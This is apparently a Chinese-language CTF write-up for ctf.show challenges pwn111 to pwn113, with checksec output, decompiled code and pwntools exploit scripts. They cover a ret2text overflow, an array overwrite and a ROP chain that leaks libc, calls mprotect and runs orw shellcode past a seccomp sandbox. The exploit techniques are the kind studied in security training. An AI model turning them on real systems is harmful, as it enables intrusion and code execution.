pwn111
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No
没啥东西就普通ret2text
from pwn import *
io = remote("pwn.challenge.ctf.show",28250)
payload = b'a' *(0x80 +8)
payload += p64(0x0000000000400697)
io.sendline(payload)
io.interactive()
pwn112
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
Stripped: No
进ctfshow函数,是数组,初始化了var[13],var[14]
但是,输入处存在可能使用的数组越界漏洞
int ctfshow()
{
var[13] = 0;
var[14] = 0;
init();
puts("What's your name?");
scanf("%s", var);
if ( *(_QWORD *)&var[13] )
{
if ( *(_QWORD *)&var[13] != 0x11LL )
return printf(
"something wrong! val is %d",
var[0],
var[1],
var[2],
var[3],
var[4],
var[5],
var[6],
var[7],
var[8],
var[9],
var[10],
var[11],
var[12],
var[13],
var[14]);
else
return register_tm();
}
else
{
printf("%s, Welcome!\n", var);
return puts("Try doing something~");
}
}
那就很简单了,直接把整个数组全填成0x11 也就是17就好了,连传14个进去,以满足var[13] = 0x11
(同理,你前面传13个其他莫名其妙的数字最后一个传17也能用)
from pwn import *
context.log_level='debug'
#io = process('./pwn112')
io = remote('pwn.challenge.ctf.show',28220)
payload = p32(17) * 14
io.recv()
io.sendline(payload)
io.interactive()
pwn113
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No
IDA打开看到有seccomp,看看沙箱限制
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x05 0xc000003e if (A != ARCH_X86_64) goto 0007
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x02 0xffffffff if (A != 0xffffffff) goto 0007
0005: 0x15 0x01 0x00 0x0000003b if (A == execve) goto 0007
0006: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0007: 0x06 0x00 0x00 0x00000000 return KILL
这里没啥好说的,就ban了execve,orw了多半
main函数感觉好难懂,先不急着分析
int __fastcall main(int argc, const char **argv, const char **envp)
{
__int64 v3; // rax
_BYTE v5[1032]; // [rsp+0h] [rbp-420h] BYREF
__int64 v6; // [rsp+408h] [rbp-18h]
char v7; // [rsp+417h] [rbp-9h]
__int64 v8; // [rsp+418h] [rbp-8h]
is_detail = 0;
go();
logo(argc, argv);
fwrite(">> ", 1uLL, 3uLL, _bss_start);
fflush(_bss_start);
v8 = 0LL;
while ( !feof(stdin) )
{
v7 = fgetc(stdin);
if ( v7 == 10 )
break;
v3 = v8++;
v6 = v3;
v5[v3] = v7;
}
v5[v8] = 0;
if ( (unsigned int)init(v5) )
{
qsort(files, size_of_path, 0x200uLL, (__compar_fn_t)cmp);
search_file_info();
}
else
{
fflush(_bss_start);
set_secommp();
}
return 0;
}
回想了一下保护就一个全开的RELRO,那就不可写got、plt嘛
看了看没有什么好利用的点
但是看到一个很奇怪的函数
int __fastcall stat(char *filename, struct stat *stat_buf)
{
return __xstat(1, filename, stat_buf);
}
(不知道啥东西,貌似是个结构体)
main函数中有⼀个判断,当我们输⼊的⽂件路径有问题,它就会返回0,然后进⼊沙箱中,那么我们就可以任意输⼊,使其出错进⼊沙箱进行沙箱ROP 先泄漏地址,再通过mprotect函数修改权限然后orw进⾏读flag,flag名称我们可以在远程连接的时候输⼊路径(输入/
)即可看到flag⽂件格式
exp:
from pwn import *
context(log_level='debug',arch='amd64', os='linux')
# io = process("./pwn113")
io = remote("pwn.challenge.ctf.show",28279)
elf = ELF("./pwn113")
libc = ELF("./libc6_2.27-0ubuntu3_amd64.so")
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
main = elf.sym['main']
pop_rdi = 0x0000000000401ba3
data = 0x603000
# pld = b'a'*(0x418) + p8(0x28)
# pld += p64(pop_rdi)
# pld += p64(puts_got)
# pld += p64(puts_plt)
# pld += p64(main)
pld = b"A"*0x418+p8(0x28)+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main)
io.recvuntil(b">> ")
io.sendline(pld)
puts_addr = u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print(hex(puts_addr))
libc_base = puts_addr - libc.sym["puts"]
mprotect_addr = libc_base + libc.sym["mprotect"]
pop_rsi = libc_base + 0x0000000000023e6a
pop_rdx = libc_base + 0x0000000000001b96
gets_addr = libc_base+libc.sym["gets"]
io.recvuntil(b">> ")
payload = b"A"*0x418+p8(0x28)+p64(pop_rdi)+ p64(data)
payload += p64(gets_addr)+p64(pop_rdi)+p64(data)
payload += p64(pop_rsi)+p64(0x1000)+p64(pop_rdx)
payload += p64(7)+p64(mprotect_addr)+ p64(data)
io.sendline(payload)
sh = shellcraft.cat("/flag")
shellcode = asm(sh)
io.sendline(shellcode)
io.interactive()
仍然有些问题
为什么填充的垃圾数据组成是:b”A”*0x418+p8(0x28) + ·······
为什么是加p8(0x28)?
为什么不扔0x420个A进去?